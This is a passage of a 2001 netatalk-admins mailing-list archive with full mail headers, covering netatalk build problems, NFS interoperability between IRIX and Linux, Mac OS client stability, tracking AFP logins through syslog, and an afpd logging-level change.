libtool-1.3.4_2     Generic shared library support script
gcc-2.8.1           Latest and greatest version of the GNU compiler suite
autoconf-2.13       Automatically configure source code on many Un*x 
platforms
automake-1.4        GNU Standards-compliant Makefile generator
gmake-3.79.1        GNU version of 'make' utility

and any dependencies as my build environment. These are all in 
/usr/ports.

Cheers,
Jason.


On Wednesday, April 25, 2001, at 05:42  am, Carsten Neumann wrote:

> On Wed, 25 Apr 2001, Daniel V Klein wrote:
>> I tried to build on BSDI 4.2, and it never made it past the first 
>> Makefile.
>> Here's what I got, the error is at the very end.  Any clues?  The 
>> relevant
>> makefile is attached.
>
> Where was it attached? :-)
>
> <snip>
>> netatalk-1.5pre6 % make
>> make  all-recursive
>> Making all in libatalk
>> "Makefile", line 317: Need an operator
>> Fatal errors encountered -- cannot continue
>> *** Error code 1
>>
>> Stop.
>> *** Error code 1
>>
>> Stop.
>
> What "make" do you use?
> What I heard is that netatalk definitely needs GNU Make!
> Try to get a recent version!
>
> You probably want to update your libtool, too!?
>
> Kind regards
>
> 	Carsten
>

From netatalk.administrators-errors@umich.edu  Wed Apr 25 06:47:37 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA06130
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 25 Apr 2001 06:47:37 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA06064
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 25 Apr 2001 06:47:37 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA06046
	for netatalk.administrators-members@umich.edu; Wed, 25 Apr 2001 06:47:37 -0400 (EDT)
Received: from popmail.space.net (popmail.Space.Net [195.30.0.14])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id GAA06011
	for <netatalk-admins@umich.edu>; Wed, 25 Apr 2001 06:47:35 -0400 (EDT)
Received: (qmail 67001 invoked from network); 25 Apr 2001 10:47:33 -0000
Received: from gw-ea6.easi.de (HELO easi.de) (195.30.34.62)
  by popmail.space.net with SMTP; 25 Apr 2001 10:47:33 -0000
Received: from [192.168.1.214] (account lutz.michaelsen HELO easi.de)
  by easi.de (CommuniGate Pro SMTP 3.4.2)
  with ESMTP id 10777; Wed, 25 Apr 2001 12:53:54 +0200
Sender: lutz@easi.de
Message-ID: <3AE6A96A.AB186146@easi.de>
Date: Wed, 25 Apr 2001 12:39:38 +0200
From: Lutz Michaelsen <lutz.michaelsen@easi.de>
Organization: EASi Engineering GmbH
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.3 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: nfs@lists.sourceforge.net, netatalk-admins@umich.edu
Subject: Netatalk on Linux 2.2.18 NFS-Client / IRIX 6.5.3 NFS-Server
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Dear All,

I have at least on problem with NFS between IRIX and Linux

NFS-Server:
-----------
O200   - IRIX 6.5.3m   (zeus)

Octane - IRIX 6.5.10m  (zenzi)

/etc/exports => /net/home (no options)


NFS-Client:
-----------
Linux 2.2.18 (SuSE 7.1)
/etc/fstab => zeus:/net/home        /net/home        nfs  \
              rw,bg,noac,rsize=8192,wsize=8192,udp,nfsvers=2

Linux 2.4.3  (SuSE 7.1) Kernel from www.kernel.org
/etc/fstab => zenzi:/net/home       /net/home        nfs  \
              rw,bg,noac,rsize=8192,wsize=8192,udp,nfsvers=2


util-linux-2.10q-6
modutils-2.4.1-3
binutils-2.10.0.33-13
glibc-2.2-7
netatalk-1.4.99-5
samba-2.0.7-105


The problem:
------------
On linux some files on the nfs-share '/net/home' can NOT be seen using
'ls *'.
With 'ls' I can see all files!

This affects also Netatalk running on NFS-Client (linux), which serves
the nfs-share '/net/home' to the macs. Files not be seen with 'ls *' can
not be seen on macs, too.

Samba works really fine on the nfs-share '/net/home'.


Any ideas??

 
Best Regards,
Lutz Michaelsen

-------------------------------------------------------------
EASi-Engineering GmbH    Tel.  ++49 (0) 89 / 1407-9872
Pelkovenstr. 81-b        Fax   ++49 (0) 89 / 1407-9696
D-80992 Muenchen         eMail mailto:lutz.michaelsen@easi.de
Germany                  WWW   http://www.easi.de

From netatalk.administrators-errors@umich.edu  Wed Apr 25 09:41:56 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA10690
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 25 Apr 2001 09:41:56 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA25045
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 25 Apr 2001 09:41:56 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA25032
	for netatalk.administrators-members@umich.edu; Wed, 25 Apr 2001 09:41:55 -0400 (EDT)
Received: from latimer.mail.uk.easynet.net (latimer.mail.uk.easynet.net [195.40.1.40])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA24976
	for <netatalk-admins@umich.edu>; Wed, 25 Apr 2001 09:41:53 -0400 (EDT)
Received: from mail.network-analysis.ltd.uk (mail.network-analysis.ltd.uk [212.135.212.98])
	by latimer.mail.uk.easynet.net (Postfix) with ESMTP id 470FC53E51
	for <netatalk-admins@umich.edu>; Wed, 25 Apr 2001 14:41:36 +0100 (BST)
Received: by mail.network-analysis.ltd.uk (sendmail 8.11.3)
          with ESMTP id f3PDfWj26881;
          Wed, 25 Apr 2001 14:41:35 +0100
Mime-Version: 1.0
X-Sender: sw@mail.network-analysis.ltd.uk
Message-Id: <p05010401b70c812519e4@[192.168.195.62]>
In-Reply-To: <a04310101b70bd87a5315@[192.168.1.201]>
References: <Pine.GSO.4.31.0104151037500.5613-100000@math.ohio-state.edu>
 <987369845.13953.1.camel@comp10574.potsdam.edu>
 <a04310101b70bd87a5315@[192.168.1.201]>
X-Mailer: Eudora Pro
Organization: Network Analysis Ltd
Date: Wed, 25 Apr 2001 14:41:31 +0100
To: netatalk-admins@umich.edu
From: Sak Wathanasin <sw@network-analysis.ltd.uk>
Subject: Re:netatalk 1.5p6, OS X 10.0.1, OS 9...
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

In reply to Lorenzo Perone's message of the 25/04/2001 at 04:49 +0200,


>only netatalk 1.4b2+asun2.1.4pre37_test (with -DUSE-FLOCK-LOCKS) 
>gives the impression to work with OSX (few errors, succesful 
>transfers...), but then causes sooner or later Darwin to panic. On 
>the other hand, my OS9 clients keep freezing and caughing with the 
>asun builds....

Well, I'm running RH7.0 (6.2 previously) and not SUSE but 
netatalk-1.4b2+asun2.1.4-pre39 runs 24 X 7 with no problems. It eeven 
works with OSX, though I haven't run that for any sustained period. I 
have a variety of Mac clients, mostly 9.1 but 8.1 and 7.6 as well. I 
have my servers mounted at startup and they stay mounted until I 
shutdown. I don't see any signs of "OS9 clients keep freezing and 
caughing" here, not because of netatalk anyway: when I poke around 
with Macsbug, I find that the culprit is usually IE5.

-- 
Sak Wathanasin
Network Analysis Limited
178 Wainbody Ave South, Coventry CV3 6BX, UK

Internet: sw@network-analysis.ltd.uk
Phone: (+44) 24 76 41 99 96        Mobile: (+44) 79 70 75 19 12 
Fax: (+44) 24 76 69 06 90

From netatalk.administrators-errors@umich.edu  Wed Apr 25 09:46:13 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA10794
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 25 Apr 2001 09:46:12 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA08276
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 25 Apr 2001 09:46:12 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA08240
	for netatalk.administrators-members@umich.edu; Wed, 25 Apr 2001 09:46:12 -0400 (EDT)
Received: from jason05.u.washington.edu (jason05.u.washington.edu [140.142.8.54])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA08137
	for <netatalk-admins@umich.edu>; Wed, 25 Apr 2001 09:46:09 -0400 (EDT)
Received: from homer30.u.washington.edu (cent@homer30.u.washington.edu [140.142.8.40])
	by jason05.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f3PDk6P52246
	for <netatalk-admins@umich.edu>; Wed, 25 Apr 2001 06:46:07 -0700
Received: from localhost (cent@localhost)
	by homer30.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f3PDk6f183040
	for <netatalk-admins@umich.edu>; Wed, 25 Apr 2001 06:46:06 -0700
Date: Wed, 25 Apr 2001 06:46:06 -0700 (PDT)
From: R Cent <cent@u.washington.edu>
To: netatalk mailing list <netatalk-admins@umich.edu>
Subject: tracking logins
Message-ID: <Pine.A41.4.33.0104250641580.69472-100000@homer30.u.washington.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


Hi,

What is the best way to determine the last time a Mac user has
logged into a linux server?  Logging in through Netatalk does
not record information that the "finger" command can show.
Thanks.

_____________________________
Bob Cent
University of Washington
Box 357330
Seattle, WA  98195-7330

mailto: cent@u.washington.edu
voice:  206.543.1433
fax:    206.685.0305
_____________________________


From netatalk.administrators-errors@umich.edu  Wed Apr 25 10:36:05 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA13238
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 25 Apr 2001 10:36:05 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA10482
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 25 Apr 2001 10:36:05 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA10473
	for netatalk.administrators-members@umich.edu; Wed, 25 Apr 2001 10:36:05 -0400 (EDT)
Received: from despair.sowrong.org (syr-24-24-23-149.twcny.rr.com [24.24.23.149])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA10459
	for <netatalk-admins@umich.edu>; Wed, 25 Apr 2001 10:36:03 -0400 (EDT)
Received: (from cjc26@localhost)
	by despair.sowrong.org (8.11.0/8.11.0) id f3PEaxt25203;
	Wed, 25 Apr 2001 10:36:59 -0400 (EDT)
Date: Wed, 25 Apr 2001 10:36:59 -0400
From: Cliff Crawford <cjc26@cornell.edu>
To: R Cent <cent@u.washington.edu>
Cc: netatalk mailing list <netatalk-admins@umich.edu>
Subject: Re: tracking logins
Message-ID: <20010425103659.D24966@cornell.edu>
References: <Pine.A41.4.33.0104250641580.69472-100000@homer30.u.washington.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.A41.4.33.0104250641580.69472-100000@homer30.u.washington.edu>; from cent@u.washington.edu on Wed, Apr 25, 2001 at 06:46:06AM -0700

* R Cent <cent@u.washington.edu> menulis:
> 
> Hi,
> 
> What is the best way to determine the last time a Mac user has
> logged into a linux server?  Logging in through Netatalk does
> not record information that the "finger" command can show.
> Thanks.

Each login is recorded in /var/log/messages, and looks something like
this:

Apr 25 10:04:08 <hostname> afpd[30447]: ASIP session:548(2) from
<ip address>:49155(0)
Apr 25 10:04:08 <hostname> afpd[30447]: dhx login: <username>
Apr 25 10:04:08 <hostname> PAM_pwdb[30447]: (netatalk) session opened for user
<username> by (uid=0)
Apr 25 10:04:08 <hostname> afpd[30447]: login <username> (uid 135, gid 111)

(Where <hostname> is the hostname of the linux server, <username> is who
logged in, and <ip address> is the ip address of the mac they logged in
from.)  So you could write a perl script or something to grep
/var/log/messages for the user in question.


-- 
Cliff Crawford   http://www.sowrong.org/
birthday party cheesecake jellybean BOOM

From netatalk.administrators-errors@umich.edu  Wed Apr 25 10:49:02 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA14279
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 25 Apr 2001 10:49:02 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA24222
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 25 Apr 2001 10:49:02 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA24197
	for netatalk.administrators-members@umich.edu; Wed, 25 Apr 2001 10:49:01 -0400 (EDT)
Received: from jason05.u.washington.edu (jason05.u.washington.edu [140.142.8.54])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA24149
	for <netatalk-admins@umich.edu>; Wed, 25 Apr 2001 10:49:00 -0400 (EDT)
Received: from homer30.u.washington.edu (cent@homer30.u.washington.edu [140.142.8.40])
	by jason05.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f3PEmwP10274;
	Wed, 25 Apr 2001 07:48:58 -0700
Received: from localhost (cent@localhost)
	by homer30.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f3PEmuA17656;
	Wed, 25 Apr 2001 07:48:56 -0700
Date: Wed, 25 Apr 2001 07:48:55 -0700 (PDT)
From: R Cent <cent@u.washington.edu>
To: Cliff Crawford <cjc26@cornell.edu>
cc: netatalk mailing list <netatalk-admins@umich.edu>
Subject: Re: tracking logins
In-Reply-To: <20010425103659.D24966@cornell.edu>
Message-ID: <Pine.A41.4.33.0104250743170.69472-100000@homer30.u.washington.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


> > What is the best way to determine the last time a Mac user has
> > logged into a linux server?  Logging in through Netatalk does
> > not record information that the "finger" command can show.
> > Thanks.
>
> Each login is recorded in /var/log/messages, and looks something like
> this...


Cliff,

Thanks for the reply.

I have examined the /var/log/messages,
/var/log/messages1,..../var/log/messages4 on my server.  Each
contain a week's worth of logins.  My server has been up for
about 4 months yet I only have five weeks of log-in records.
This doesn't help if I want to see if a user hasn't use his
account with in several months.

Does your system keep /var/log/messages farther back in time?

_____________________________
Bob Cent
University of Washington
Box 357330
Seattle, WA  98195-7330

mailto: cent@u.washington.edu
voice:  206.543.1433
fax:    206.685.0305
_____________________________


From netatalk.administrators-errors@umich.edu  Wed Apr 25 11:11:51 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA15690
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 25 Apr 2001 11:11:50 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA05143
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 25 Apr 2001 11:11:50 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA05124
	for netatalk.administrators-members@umich.edu; Wed, 25 Apr 2001 11:11:50 -0400 (EDT)
Received: from despair.sowrong.org (syr-24-24-23-149.twcny.rr.com [24.24.23.149])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA05095
	for <netatalk-admins@umich.edu>; Wed, 25 Apr 2001 11:11:49 -0400 (EDT)
Received: (from cjc26@localhost)
	by despair.sowrong.org (8.11.0/8.11.0) id f3PFCi225276;
	Wed, 25 Apr 2001 11:12:44 -0400 (EDT)
Date: Wed, 25 Apr 2001 11:12:44 -0400
From: Cliff Crawford <cjc26@cornell.edu>
To: R Cent <cent@u.washington.edu>
Cc: netatalk mailing list <netatalk-admins@umich.edu>
Subject: Re: tracking logins
Message-ID: <20010425111244.F24966@cornell.edu>
References: <20010425103659.D24966@cornell.edu> <Pine.A41.4.33.0104250743170.69472-100000@homer30.u.washington.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.A41.4.33.0104250743170.69472-100000@homer30.u.washington.edu>; from cent@u.washington.edu on Wed, Apr 25, 2001 at 07:48:55AM -0700

* R Cent <cent@u.washington.edu> menulis:
> 
> Thanks for the reply.
> 
> I have examined the /var/log/messages,
> /var/log/messages1,..../var/log/messages4 on my server.  Each
> contain a week's worth of logins.  My server has been up for
> about 4 months yet I only have five weeks of log-in records.
> This doesn't help if I want to see if a user hasn't use his
> account with in several months.
> 
> Does your system keep /var/log/messages farther back in time?

No, but I haven't needed to go back that far yet :)  The logs are
rotated by a cron script, so you could just set it to do it monthly
instead of weekly.


-- 
Cliff Crawford   http://www.sowrong.org/
birthday party cheesecake jellybean BOOM

From netatalk.administrators-errors@umich.edu  Wed Apr 25 11:19:46 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA16152
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 25 Apr 2001 11:19:45 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA10359
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 25 Apr 2001 11:19:45 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA10342
	for netatalk.administrators-members@umich.edu; Wed, 25 Apr 2001 11:19:45 -0400 (EDT)
Received: from mhub5.tc.umn.edu (mhub5.tc.umn.edu [160.94.218.235])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA10292
	for <netatalk-admins@umich.edu>; Wed, 25 Apr 2001 11:19:43 -0400 (EDT)
Received: from garnet.tc.umn.edu by mhub5.tc.umn.edu with ESMTP for netatalk-admins@umich.edu; Wed, 25 Apr 2001 10:19:41 -0500
Received: from localhost by garnet.tc.umn.edu with ESMTP; Wed, 25 Apr 2001 10:19:41 -0500
Date: Wed, 25 Apr 2001 10:19:41 -0500 (CDT)
From: Karen A Swanberg <swanberg@tc.umn.edu>
To: netatalk-devel@lists.sourceforge.net
cc: netatalk-admins@umich.edu
Subject: Re: .AppleDouble tests on OpenBSD (long...)
In-Reply-To: <E14sCHL-0001v3-00@usw-sf-list1.sourceforge.net>
Message-Id: <Pine.SOL.4.20.0104250958260.1679-100000@garnet.tc.umn.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


> From: andrew morgan <morgan@orst.edu>
> Subject: Re: .AppleDouble tests on OpenBSD (long...)

> >
> > -----Forwarded Message-----
> > From: Karen A Swanberg <swanberg@tc.umn.edu>
> > To: netatalk-admins@umich.edu
> > Subject: .AppleDouble tests on OpenBSD (long...)
> 
> [chop, chop]
> 
> > Apr 23 16:30:20 epidote afpd[25250]: setdirowner: chown 16777216/-1
> > .: Operation not permitted
> > Apr 23 16:30:20 epidote afpd[25250]: setdirowner: chown -1/0
> > .AppleDouble/.Parent: Operation not permitted
> 
> >From my investigations tonight (whew!), these are not really errors.
> 
> Just to clarify what is happening above:
> 
> These are all being triggered by calls to FPSetDirParms from the mac.  It
> passes a big structure full of permission bits, user and group ids, etc.

[regretfully chopped lots of good stuff]
 
> In the current code, when the chown fails, we call syslog at LOG_ERR
> level.  In the asun2.1.4 code, it called syslog at LOG_DEBUG level.  In
> both cases, no error was passed to the mac client because really, afpd
> should deal with this operation properly or just ignore it.  At the
> LOG_DEBUG level, most users never saw the "error".
> 
> Somewhere around revision 1.6 of etc/afpd/unix.c, someone changed the
> LOG_ERR to LOG_DEBUG, apparently in the throes of adding dropkludge
> support.  If there was a valid reason for the change, please speak up.
> Otherwise, we should change those back to LOG_DEBUG so we don't scare our
> users.
> 
> 	Andy

So to clarify for the newbies, this breaks down to "This isn't a
problem?" We just need to tell our sysloggers to ignore it? Are the errors
catagorized as something like afpd.error or something similar that we can
configure our syslogs to ignore? I don't want to miss other errors, or
have my console window so full of this information that I miss others. If
and when the change is made in the CVS, will someone post here, so I can
test that new version?

Great to hear that this isn't a problem. I've been drooling to let my
users at this fileserver for awhile, and this was the last stumbling
block. Don't worry, I'll tell them it's still in testing.

Thanks,

-Karen

*                                                     *
Karen Swanberg              |                         
Network Admin.              | Error: Sector not found-- 
Dept. of Geology/Geophysics |search behind couch? (Y/N)
206 Pillsbury Hall          |                         
310 Pillsbury Ave. SE       |     Old geeks never die,                    
University of Mn            |         They just revert
Minneapolis, MN 55455       |            to cleartext.
(612) 624-6541              |                         
*                                                     *


From netatalk.administrators-errors@umich.edu  Wed Apr 25 11:20:19 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA16209
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 25 Apr 2001 11:20:19 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA20749
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 25 Apr 2001 11:20:18 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA20720
	for netatalk.administrators-members@umich.edu; Wed, 25 Apr 2001 11:20:17 -0400 (EDT)
Received: from mail.id-inc.com ([208.186.174.81])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA20610
	for <netatalk-admins@umich.edu>; Wed, 25 Apr 2001 11:20:15 -0400 (EDT)
Received: from [192.168.94.68] (192.168.94.68) by mail.id-inc.com with
 ESMTP (Eudora Internet Mail Server 3.0); Wed, 25 Apr 2001 08:20:24 -0700
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Wed, 25 Apr 2001 08:20:25 -0700
Subject: Re: tracking logins
From: charlie wood <charlie@id-inc.com>
To: R Cent <cent@u.washington.edu>, Cliff Crawford <cjc26@cornell.edu>
CC: netatalk mailing list <netatalk-admins@umich.edu>
Message-ID: <B70C3949.2C13%charlie@id-inc.com>
In-Reply-To: <Pine.A41.4.33.0104250743170.69472-100000@homer30.u.washington.edu>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Something to try to help weed through the log file:

grep '[client_IP_address]' /var/log/messages > seek.txt

will search the syslog files for the quoted string and burp it all into a
file called 'seek.txt', which you can then search more reasonably.

you could also try using 'afpd' or 'atalkd' as your string.

</charlie>


-------original message-------

> From: R Cent <cent@u.washington.edu>
> Date: Wed, 25 Apr 2001 07:48:55 -0700 (PDT)
> To: Cliff Crawford <cjc26@cornell.edu>
> Cc: netatalk mailing list <netatalk-admins@umich.edu>
> Subject: Re: tracking logins
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Wed, 25 Apr 2001 10:53:12 -0400 (EDT)
> 
> 
> Cliff,
> 
> Thanks for the reply.
> 
> I have examined the /var/log/messages,
> /var/log/messages1,..../var/log/messages4 on my server.  Each
> contain a week's worth of logins.  My server has been up for
> about 4 months yet I only have five weeks of log-in records.
> This doesn't help if I want to see if a user hasn't use his
> account with in several months.
> 
> Does your system keep /var/log/messages farther back in time?


From netatalk.administrators-errors@umich.edu  Wed Apr 25 11:55:55 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA17811
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 25 Apr 2001 11:55:55 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA17353
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 25 Apr 2001 11:55:55 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA17349
	for netatalk.administrators-members@umich.edu; Wed, 25 Apr 2001 11:55:50 -0400 (EDT)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA17313
	for <netatalk-admins@umich.edu>; Wed, 25 Apr 2001 11:55:48 -0400 (EDT)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id RAA05620
	for <netatalk-admins@umich.edu>; Wed, 25 Apr 2001 17:50:47 +0200
Message-ID: <3AE6F259.7B26867D@euc.de>
Date: Wed, 25 Apr 2001 17:50:50 +0200
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: one apple volume and different users
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hmm,


Does that work?

one apple volume and several users accessing this volume.
how do I get differnt trashs for each user for that volume?

at the moment only the first user who put something into the
trash is capable of using the trash. each following action
from other users causing the error (something like that):
'you can't put files into the trash. You can delete the files directlly'

this drives me nuts

best regards
-----------------------------------------------------------
Mac Conin                        EUC Online Service GmbH
mconin@euc.de                    D 50676 Koeln
http://www.euc.de                
tel : +49-221-923 27 33          fax : +49-221-239 651
-----------------------------------------------------------

From netatalk.administrators-errors@umich.edu  Wed Apr 25 12:07:10 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA18198
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 25 Apr 2001 12:07:10 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA04532
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 25 Apr 2001 12:07:02 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA04505
	for netatalk.administrators-members@umich.edu; Wed, 25 Apr 2001 12:07:01 -0400 (EDT)
Received: from bowman.scf.orst.edu (bowman.SCF.ORST.EDU [128.193.161.87])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA04378
	for <netatalk-admins@umich.edu>; Wed, 25 Apr 2001 12:06:57 -0400 (EDT)
Received: from localhost (morgan@localhost)
	by bowman.scf.orst.edu (8.9.3/8.9.3) with ESMTP id JAA24276;
	Wed, 25 Apr 2001 09:07:02 -0700
X-Authentication-Warning: bowman.scf.orst.edu: morgan owned process doing -bs
Date: Wed, 25 Apr 2001 09:07:01 -0700 (PDT)
From: andrew morgan <morgan@orst.edu>
X-Sender:  <morgan@bowman.scf.orst.edu>
To: Karen A Swanberg <swanberg@tc.umn.edu>
cc: <netatalk-devel@lists.sourceforge.net>, <netatalk-admins@umich.edu>
Subject: Re: [Netatalk-devel] Re: .AppleDouble tests on OpenBSD (long...)
In-Reply-To: <Pine.SOL.4.20.0104250958260.1679-100000@garnet.tc.umn.edu>
Message-ID: <Pine.LNX.4.30.0104250906140.23201-100000@bowman.scf.orst.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Wed, 25 Apr 2001, Karen A Swanberg wrote:

> So to clarify for the newbies, this breaks down to "This isn't a
> problem?" We just need to tell our sysloggers to ignore it? Are the errors
> catagorized as something like afpd.error or something similar that we can
> configure our syslogs to ignore? I don't want to miss other errors, or
> have my console window so full of this information that I miss others. If
> and when the change is made in the CVS, will someone post here, so I can
> test that new version?
>
> Great to hear that this isn't a problem. I've been drooling to let my
> users at this fileserver for awhile, and this was the last stumbling
> block. Don't worry, I'll tell them it's still in testing.

I've made the change in CVS since nobody squawked about it.  Give it a
whirl.

	Andy


From netatalk.administrators-errors@umich.edu  Wed Apr 25 12:16:13 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
